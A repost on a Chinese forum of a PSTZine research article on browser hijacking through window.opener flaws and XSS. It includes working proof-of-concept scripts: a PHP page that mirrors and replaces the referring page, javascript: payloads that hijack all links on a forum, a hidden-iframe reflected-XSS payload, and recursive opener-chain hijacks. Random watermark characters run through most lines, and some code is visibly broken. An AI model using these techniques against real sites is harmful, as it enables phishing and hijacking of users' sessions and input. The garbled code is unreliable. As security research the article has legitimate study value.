找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1975|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==: F% Q  a3 ~, h* O% N- B* z, r0 r
$ b( E. v- D, B7 |  J6 x
                       Issue 0x03, Phile #0x05 of 0x07
3 X7 r+ d. H  I/ D2 D 9 Y. K" b4 c6 C$ R

4 B6 c  C8 f) C5 w+ ~|=---------------------------------------------------------------------------=|
7 V" X8 x% w- u' J|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
& p7 H8 p/ K% F|=---------------------------------------------------------------------------=|
9 v+ q9 U+ d7 h: o0 @|=---------------------------------------------------------------------------=|
" L0 ~3 V3 B$ _& [9 U8 t4 ]4 a9 \|=------------------------=[      By rayh4c     ]=---------------------------=|
) q& N1 m( ~6 I" @. _|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
; T$ H/ h* h5 f+ h1 ||=---------------------------------------------------------------------------=|2 H' u, l! F( j% ?; p

) |# ]  P2 b% c1 Q' }2 |/ u4 x8 m$ |8 L' t  g7 Y
[目录]
# ~/ l& K( t" g1 [7 h/ I  ]
! n5 z3 }- {: e7 t1. 前言
# T8 S; r% h! l. z2. 同源策略简叙9 C/ c+ G+ C3 ^
3. 理解window对象的同源策略
2 v7 ]2 a& S" i* G" B4. 窗口引用功能中的同源策略漏洞
1 ]: P. C; K9 S+ U6 K& t  4.1 父窗口引用子窗口的同源策略问题
1 V0 r  m7 G+ ?" G* F8 W1 C# ~! v2 U  4.2 子窗口引用父窗口的同源策略问题0 W9 y; Y& h& x" R, w  q
5. 利用窗口引用漏洞劫持浏览器( j) |3 @2 H/ U+ n" U8 P
6. 利用XSS漏洞劫持浏览器( ~- ]) o1 H- x2 h
  6.1 正向跨窗口劫持
+ C- F; g' t  S/ e4 ~9 o: v' A  6.2 反向跨窗口劫持3 o, V) ^2 E/ X9 I$ m  Z7 `; D
  6.3 极度危险的跨框架窗口引用劫持
# j3 |+ ]4 {# i  6.4 极度危险的正反向跨窗口递归劫持: e2 d7 y' H5 I3 k
  6.5 完全控制浏览器4 r; g" \2 W0 Q$ r, X* B0 |
7. 后记- z% q8 f- k+ L, d) G& L
8. 参考
3 z- }) z+ D0 [4 E5 b1 L/ e8 j5 D, e% t8 J0 s6 |. s4 V+ R( k& _
- y8 u: n, u1 Y5 k, a0 ^8 ^8 g
一、前言
5 @2 s4 Q- S2 {2 j' I) r/ h2 h- g; h) ]
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
9 A! |& D$ H+ l1 t% H1 \友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session1 m" r7 e* v4 b( z3 W3 w
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
" B: E2 E, a6 z, M+ _' T  X条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
9 O+ z6 J6 D1 S. i' N4 ]
( U# l. s: ^6 z
6 k" L8 q; n5 s5 ~4 A8 n二、同源策略简叙6 ]+ ?$ Q  t  l/ g

; h) G/ R/ T1 R& O/ j; x( G& h    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以$ ?& \/ }" F) n9 O& _& U. @( J
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
! K' @" \2 j# t% N. }# J曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
: @/ X) b7 r% G& l; T& P* O马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
; c. v( ^  A9 N) w漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
" `% ?; [' U( B! z( j" z8 e7 A; g+ A8 `

1 A" Y1 n$ E% I7 N4 d, M$ r& g三、理解window对象的同源策略& j. e' @$ D3 ~& h8 U8 g/ ~
5 r# z' Y. _' L5 k7 Y8 q6 Y" z/ s% Y
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对, j  ]$ }/ d" ]: A, y3 y9 @0 k
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:9 @2 }+ p/ V" H5 k  W: o

  j0 d# `& F9 p$ C4 O2 J6 E7 |--code-------------------------------------------------------------------------6 e, f: g2 ^9 ^$ V! o1 y" f
<script language="javascript">
: ]0 I$ O; k8 Q; u8 N* gfor(p in window) document.write(p+"<br>");! ?6 E1 `5 E! ]
</script>$ S: X) m; Y0 D9 }; N. n  |8 z/ f
-------------------------------------------------------------------------------
! {' g8 d7 I0 @# V, T1 A  S. }1 w, @, V2 `! `
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方1 B* p( A4 A( S3 F# X8 U
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,! T& f  E  O1 B# a
这些属性和方法就必须遵循同源策略。
5 H4 a5 g  ^( F" P# s( ~' |0 W! m# P/ y1 V- m( E4 \$ q% [" o
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
) u. k5 W. M; P7 J% u+ T么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须8 y7 z" s, N' f% q4 d, S
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这( B* ^" W! n/ h; ?/ E4 n0 }
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
' h$ ^( [0 T1 M+ c- d: S值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
* e  `% |+ }; g4 T属性并没有被拒绝访问。
  P& S- C6 l, Z' |
  p# B- f5 _  \( ?7 d--demo.html--------------------------------------------------------------------/ Q9 Q5 g! O& K7 v  c- P8 o
<script language="javascript">   . ~# J( A# z. P0 X# [' v% t
function allPrpos(obj) {      % c6 o7 X, w# I/ E3 s, R
      var props = "<table><tr><td>名称</td><td>值</td>";           : Q1 j0 W  }8 X) D+ |1 Z/ ?% H
      for(var p in obj){         
. x, n9 \# s" \* y: r! F" Q# ^            if(typeof(obj[p])=="function"){   
' s& _. i% k2 o/ }6 a                   obj[p]();   
# W" e0 e& S. k& f. e0 k% F             }else{                     
3 c. w0 K; E5 s$ f                  try   . ?# A) ?' M4 a: q& v- x. K* i
                   {   + D7 t  R9 X$ A: L1 a) @6 Y
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
5 E- Q. ^3 M' H7 L) h5 R) _                   }   
5 _; I: c: X2 W3 }' G                  catch (ex)   + T  d7 P8 X" J9 J1 t" L
                   {   
( P7 Z5 o* d4 B) @                  
$ H0 b4 `$ o7 H6 @                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   4 w1 J8 {2 W- h
                   }   
6 M( s& d- U) @, b. D' A                       
0 L! g4 x4 R) R/ j! ~% g/ W             }   ) E  Q& y2 T# w& @' }( h, e, i2 u
       }   : y( ^$ M* R: @# u3 `9 X, [$ l% P3 l
   $ H8 L/ H0 i- j+ R, m
       document.write(props+"</table>");   
/ n0 m  K5 Y- {7 S}   
; e5 G7 P/ v4 i7 [9 h7 z   & B; [4 d. E" I+ P
function createWin() {4 @8 x, A$ r6 x8 l
        newWin = window.open ("http://www.google.com");  3 r. Y0 q- b" A2 D& ]0 j5 K
        setTimeout(function(){allPrpos(newWin)},2000); % z) d) A1 D" y! |( J7 `* R- L
} 3 ?0 Z/ ~. ]- @% ]+ n
0 _3 c2 f5 N/ L
</script>
  Q/ X% a/ m( b) H1 |
+ ~' Q. E2 ?  q2 j0 K) K8 o: u% J<button onclick='createWin()'>创建一个非同源子窗口测试</button>
& _5 A4 c! Z/ {; U' j-------------------------------------------------------------------------------
+ l8 W. I6 e. Y: @+ k6 r" Z2 }. m" v' z

0 l* I0 k: R, R. B& d4 J9 r! i四、窗口引用功能中的同源策略漏洞
0 k4 k& Z6 w# P. d3 [" Z& x# I4 ^6 B
4.1 父窗口引用子窗口的同源策略问题3 R7 R' J+ {+ u. l# g) J$ V% ?: p; e

! D$ A& x, H% Q& F    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
: T7 u+ A7 f5 r% @0 a% i" K) @但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
' P! f+ l. O* u( K) U2 d浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
- l; ~, J- K. b行测试,会发现父窗口可以控制非同源子窗口location属性值。( l; a6 {" U3 x% b

  _2 D+ O' ~5 o1 M% @5 X) s--vul1.html--------------------------------------------------------------------. h) c: e6 o: C- _7 f$ z  R! O; f
<script language="javascript">
/ V8 q& j3 x( M/ P4 r( n1 Dfunction createWin() {  & T: _! w) w8 f8 D" v
        newWin = window.open ("http://www.google.com");  
5 a' p; P9 ]2 C* `. i& c. X        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
" I; U% d5 B, ?( I3 K3 a} 7 B3 |" m' r( F# ^8 s2 G# F0 l
</script>
  h0 _* Z8 |3 u
- G( |0 R: v. _( Y<button onclick='createWin()'>创建一个非同源子窗口测试</button>+ z1 W0 ~% o# F& G9 a  i
-------------------------------------------------------------------------------" b7 _5 a2 J/ m8 I% j

6 s, G% p5 ?& G; k2 g) T; g  d: C6 T; x$ y. X2 ?2 _
4.2 子窗口引用父窗口的同源策略问题
, w: A$ L$ W8 K& b. @% i
+ e% W8 f$ ^! a* P    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
) d$ L/ ]1 }' e* t1 q用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们" m5 X% _& p9 k& g+ [  N6 |% Y6 \
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
# M" V+ k$ o# S( g4 `+ c+ W会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。7 m% @7 c% d! x. B5 q, E
+ x) ~0 _9 K" w* w3 e
--code-------------------------------------------------------------------------  E3 H; W+ m3 C6 ~, \. E/ b

4 k/ g, g3 `0 n! ?; A+ ~+ I& wjavascript:window.opener.location = "http://www.80sec.com";void(0);2 A. u* W. e7 S$ c/ l/ D/ U. I
) H  V, n" j5 B8 t
-------------------------------------------------------------------------------
. D5 f* k# q( K3 U7 k4 |2 o" g6 w+ l' b, u3 y. D# Q7 y1 ~+ }1 Z
5 [1 ~; D6 a& @, [, d
五、利用窗口引用漏洞劫持浏览器0 z% k* ~/ _( B$ r" ^
, ~* v1 m: q$ p
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
( ]/ l8 O# `! n, W  M2 Y- _窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
2 P% p- s* @$ m' [么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。, W7 f1 S( {2 c, x3 f  n, z

! I& o3 T& a2 K8 D1 _( K1 U' R4 O4 z    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产, R! E) v! z  z
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
) @) p# c* ^! f3 b# o者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
6 a1 Q* ?3 k3 w后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下0 A. g* {6 o+ [. J# b* |% V, \
会产生什么可怕的后果。
* _' A6 U9 l! O7 Q) M  c9 Y
  Z2 m- A! N+ O    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我4 I* B: D4 z) v& q: J' `- |! ?
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
) B1 S4 p9 h( l这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时+ c' x; Q. y- ?- m, k. v
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可, F8 o# ]6 Z/ u5 J
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
1 @) @$ y1 H7 `( J$ P' x' |
5 x6 Y$ [" Z' w2 j--hjk_ref.php------------------------------------------------------------------
1 T4 m; f4 y1 Y2 x+ P<?php# `: q7 R; ], A' y6 k
if (array_key_exists("HTTP_REFERER", $_SERVER)) {# ]3 m  u  G( o
$Url_Mirror = $_SERVER["HTTP_REFERER"];
& z$ d$ E- a7 ?! q6 P}
; X( b! x! Z* _/ M& Lif(isset ($_GET['ref'])) {1 E! Q$ |* R- W9 u! C$ M
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';6 P7 X* M4 q4 n+ `- I
}/ W0 M  T9 A2 j6 y! V- [( H" ~
?>; [! R9 v  }! ^% U
" J7 I- N" _& o( j( t# Z
<script language="javascript">: w) f! O$ Q' f+ w
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         1 o/ @3 g: i, p  n5 v% N; v
</script>! k. Q4 V5 P; D" ?3 z
-------------------------------------------------------------------------------
' D7 D1 f4 C9 K0 s% _
& H$ G6 F# V4 t    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。& t$ l7 u! a+ _5 Y2 T
8 v: i# R- ~: t; ?$ Z# H

, L7 N1 D. D( j6 Y; V六、利用XSS漏洞劫持浏览器
. Q( [  O6 e3 E/ D9 W% E. A) t
! e2 L! c7 K( e8 z8 }9 `! U    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为$ b3 [  R2 Y4 @, Y
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后1 x8 }2 g( l6 z
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起# y9 H" d5 {. w5 R, G% M& ^9 ?8 E/ a
讨论跨站师的终极技巧:# H' d7 g, I/ m$ L# S& H( [
) c8 Q! h( n# }( ?: w* m3 |

* o- a& u- v9 P; t1 G6.1 正向跨窗口劫持
* t0 K; d2 G9 g, T% g3 M$ q! p! \5 O+ A6 ]' ~1 @$ T- W
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛" C$ {! V  s* y/ ~7 N; a9 b
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
- K4 f$ p: K: l+ c" A接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话: Y9 A! M/ G6 E# I% ~
框脚本。
' P' k. d: w& v: n: g) _3 w0 |. t$ w) d0 E, B
--hijack_open.js---------------------------------------------------------------& u+ j7 t$ }7 g0 c
- z# b. U% u) S: y1 k& a6 I3 J+ |
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);6 r8 X, W9 t$ }, h  _& O
6 A" z; H  G0 Z% b5 `' E9 V* y
-------------------------------------------------------------------------------. i" }- t; ^7 X* E
& j% l% I# V6 @; v; M+ c
5 B. n: u/ U* f
6.2 反向跨窗口劫持
7 f1 F  Y! L+ I" f% \# Y8 X# O
+ s- m, |6 O9 K! a: q. ~$ Z    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代: t, H; ]) Q$ ~3 R4 b" d
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话! O, p! r4 A4 r+ i
框脚本。
/ ?$ ]3 k/ z  P) Y1 V# M/ w8 B+ H# e  P+ f8 ^- y; k
--hijack_opener.js-------------------------------------------------------------1 \! a+ O0 H3 R  `" o2 |* J

: N/ _5 L% h( b, \) gjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);; n: s( f5 S- t

) ^) K- _$ S8 ~/ {8 \  g; P-------------------------------------------------------------------------------8 k( m' H5 t1 y, w5 c- U# p

. u4 e. X+ }, S- \8 B9 Y9 k4 ]
& t3 A$ r0 d# z0 v) t% j% F6.3 极度危险的跨框架窗口引用劫持( g/ C. b2 _( }5 ~) o# a; I! ~

! G3 O  R; U% h: t2 l    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
; z# V" X$ Y( Q: ]4 q" T  \7 N可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就+ |9 G7 V. h$ ~% }% _7 k% C
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个7 c! p, L$ X* o- ?
非持久型的XSS,如下:
  m8 M+ n9 b( m. d5 u& Q
/ j' z- r8 O5 S0 Z" u4 W4 I<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>% W& J5 N: f7 G. Y, H; G
# k0 i# N8 t- O5 j$ D  U
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口' G: p- e9 [3 \
注入脚本。
0 K% g1 ?/ A+ k. l2 _! l2 t* J0 r6 s2 S/ N4 |3 F0 ~
--hijack_frame_opener.js-------------------------------------------------------9 T: }" ~/ h. U1 t/ D
<script>* K$ z6 o" _$ p$ t% m$ c3 ^  J- _4 B
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";3 g6 O  K0 a1 ], D1 c4 e
</script>% p1 ?. {, c) s2 v) d- F2 J
-------------------------------------------------------------------------------
6 J7 ?) Y" Y" a% i% t% P# e6 `7 P. A* W' Y  x* h9 }) W

/ U8 a4 T, o6 N/ w7 j6.4 极度危险的正反向跨窗口递归劫持
0 W/ \5 Z) L& @/ [" T7 S+ }- }  @# x4 a* [' ~- L1 l9 _
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
0 n9 ^, Q4 A% y0 x) o的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
8 m. w4 ^! H2 Z* c# Y, N( C" ]异常处理规避之间跨域页面的访问异常,代码如下:' Q! I! P) r% D2 E& l0 K, T* M

6 v0 y: @' V9 ^0 T1 a* V7 j--code-------------------------------------------------------------------------
2 ?! y( U6 T! c# @, N$ {! N9 L3 `  v  ~/ a
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
% G: D; s, r* d6 d5 w! p# k
) k6 V$ i' a7 C3 I: g* {- t- R  s& E. ^9 J-------------------------------------------------------------------------------
+ y, C3 K: E7 ?5 s4 X, m' i* _1 L
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
9 ]) ]4 j' i  m以劫持B域之前的A域页面,从而实现“隔空打击”。5 W7 I- r* s" R! ~- G

$ Z1 B7 E. i8 c5 N+ _    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
( J% _7 Y3 ]7 t1 [/ B* j执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。( e- T8 M8 |' L; G* Q
6 U. ~2 o8 K. y6 n9 m- I
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
. S$ B, S' H1 b( o  W% o6 f
$ A0 Y- C9 U" M5 T5 A  ?+ w
/ q, ]6 R* ]8 z" G. w6.5 完全控制浏览器; R- Q4 p2 c( \$ A; ?

& d7 v2 I2 N6 ]2 t1 b    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
* h+ M* A1 S8 I是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
% E  [1 N/ W, t5 W. q漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失, d  y5 P1 H0 L3 P4 d. R5 u9 R
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
  u! [* O1 B/ Z9 w. `列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
( V) @& d: k2 W) H0 `, J, P& j师的终极目标 - 完全控制浏览器。
& ]- m7 @. `6 ^/ l  H7 Z( a# T7 ?
  d( w7 k. @' l* y% s2 U. c* h/ @+ i* Z# p- ~
七、后记9 h# a8 ~7 H; L6 T. L1 f
6 d5 x- u. }2 s' {. d/ t8 J& o
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
: C9 x3 V; m' H) m9 n' O/ T与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
( T9 p/ p9 e) ^过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。5 x. J: w0 v5 l( V, t

( F5 Q' b6 h9 b: h0 M7 B
" A' P  e  W5 S' H2 L7 z, x八、参考
5 s  |8 @/ }/ @& U: A+ H) p+ R3 C3 O" E7 N  _+ }1 k
1. http://en.wikipedia.org/wiki/Same_origin_policy( d& I5 |* h3 T; I1 ?
2. http://code.google.com/p/browser ... licy_for_DOM_access. g: T# k$ h& t* l: R# N. w  H2 \' k
3. http://www.w3.org/TR/Window/
- f- |) @6 e2 ?, O3 \4. http://www.80sec.com/release/browser-hijacking.txt
' k% a) `7 k2 q4 T5 _& k, K5. http://www.80sec.com/all-browser-security-alert.html' P8 V& e, k  W4 p
6. http://www.80sec.com/ms08-058-attacks-google.html
% O9 U0 K) r, B! D: U
9 H! N7 U5 m$ d* n-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表